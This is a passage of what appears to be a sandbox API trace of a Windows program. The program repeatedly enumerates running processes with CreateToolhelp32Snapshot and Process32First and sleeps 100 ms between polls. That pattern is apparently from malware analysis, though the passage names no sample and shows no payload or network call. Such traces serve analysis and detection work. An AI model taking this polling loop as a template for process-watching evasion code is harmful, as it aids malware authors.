pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.766] Sleep (dwMilliseconds=0x64) [0166.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bdc [0166.829] Process32First (in: hSnapshot=0x1bdc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.945] Sleep (dwMilliseconds=0x64) [0166.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c7c [0166.999] Process32First (in: hSnapshot=0x1c7c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.140] Sleep (dwMilliseconds=0x64) [0167.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c8 [0167.205] Process32First (in: hSnapshot=0x20c8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.322] Sleep (dwMilliseconds=0x64) [0167.349] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20a4 [0167.360] Process32First (in: hSnapshot=0x20a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.472] Sleep (dwMilliseconds=0x64) [0167.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c8 [0167.579] Process32First (in: hSnapshot=0x20c8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.830] Sleep (dwMilliseconds=0x64) [0167.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0167.873] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.016] Sleep (dwMilliseconds=0x64) [0168.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0168.058] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.178] Sleep (dwMilliseconds=0x64) [0168.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1714 [0168.220] Process32First (in: hSnapshot=0x1714, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.339] Sleep (dwMilliseconds=0x64) [0168.385] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0168.409] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.690] Sleep (dwMilliseconds=0x64) [0168.716] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0168.730] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.886] Sleep (dwMilliseconds=0x64) [0168.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0169.046] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.183] Sleep (dwMilliseconds=0x64) [0169.210] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0169.222] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.362] Sleep (dwMilliseconds=0x64) [0169.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0169.391] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.590] Sleep (dwMilliseconds=0x64) [0169.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0169.641] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.749] Sleep (dwMilliseconds=0x64) [0169.776] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0169.805] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.919] Sleep (dwMilliseconds=0x64) [0169.933] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0169.946] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.107] Sleep (dwMilliseconds=0x64) [0170.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0170.278] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.373] Sleep (dwMilliseconds=0x64) [0170.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0170.426] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.563] Sleep (dwMilliseconds=0x64) [0170.580] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0170.591] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.776] Sleep (dwMilliseconds=0x64) [0170.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0170.850] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.067] Sleep (dwMilliseconds=0x64) [0171.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0171.113] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.254] Sleep (dwMilliseconds=0x64) [0171.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0171.281] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.592] Sleep (dwMilliseconds=0x64) [0171.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0171.629] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.760] Sleep (dwMilliseconds=0x64) [0171.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0171.797] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.903] Sleep (dwMilliseconds=0x64) [0171.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0171.924] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.035] Sleep (dwMilliseconds=0x64) [0172.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0172.078] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.233] Sleep (dwMilliseconds=0x64) [0172.298] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0172.358] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.484] Sleep (dwMilliseconds=0x64) [0172.644] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0172.659] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.810] Sleep (dwMilliseconds=0x64) [0172.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0172.850] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.990] Sleep (dwMilliseconds=0x64) [0173.023] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0173.035] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.127] Sleep (dwMilliseconds=0x64) [0173.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0173.188] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.313] Sleep (dwMilliseconds=0x64) [0173.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0173.334] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.460] Sleep (dwMilliseconds=0x64) [0173.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0173.611] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.751] Sleep (dwMilliseconds=0x64) [0173.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0173.782] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.896] Sleep (dwMilliseconds=0x64) [0173.917] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0173.928] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.075] Sleep (dwMilliseconds=0x64) [0174.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0174.107] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.225] Sleep (dwMilliseconds=0x64) [0174.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0174.256] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.393] Sleep (dwMilliseconds=0x64) [0174.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0174.453] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.569] Sleep (dwMilliseconds=0x64) [0174.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0174.600] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.736] Sleep (dwMilliseconds=0x64) [0174.755] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0174.766] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.853] Sleep (dwMilliseconds=0x64) [0174.957] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0174.975] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.094] Sleep (dwMilliseconds=0x64) [0175.117] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0175.127] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.259] Sleep (dwMilliseconds=0x64) [0175.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0175.311] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.442] Sleep (dwMilliseconds=0x64) [0175.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0175.481] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.664] Sleep (dwMilliseconds=0x64) [0175.708] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0175.740] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.875] Sleep (dwMilliseconds=0x64) [0175.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0175.907] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.009] Sleep (dwMilliseconds=0x64) [0176.045] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0176.057] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.268] Sleep (dwMilliseconds=0x64) [0176.291] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0176.306] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.422] Sleep (dwMilliseconds=0x64) [0176.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0176.470] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.686] Sleep (dwMilliseconds=0x64) [0176.713] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0176.724] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.842] Sleep (dwMilliseconds=0x64) [0176.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0176.915] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.069] Sleep (dwMilliseconds=0x64) [0177.114] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0177.128] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.229] Sleep (dwMilliseconds=0x64) [0177.317] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0177.332] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.452] Sleep (dwMilliseconds=0x64) [0177.493] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0177.509] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.696] Sleep (dwMilliseconds=0x64) [0177.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0177.750] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.837] Sleep (dwMilliseconds=0x64) [0177.880] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0177.891] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.001] Sleep (dwMilliseconds=0x64) [0178.024] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0178.086] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.194] Sleep (dwMilliseconds=0x64) [0178.210] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0178.221] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.331] Sleep (dwMilliseconds=0x64) [0178.395] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0178.408] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.714] Sleep (dwMilliseconds=0x64) [0178.757] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0178.772] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.859] Sleep (dwMilliseconds=0x64) [0178.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc 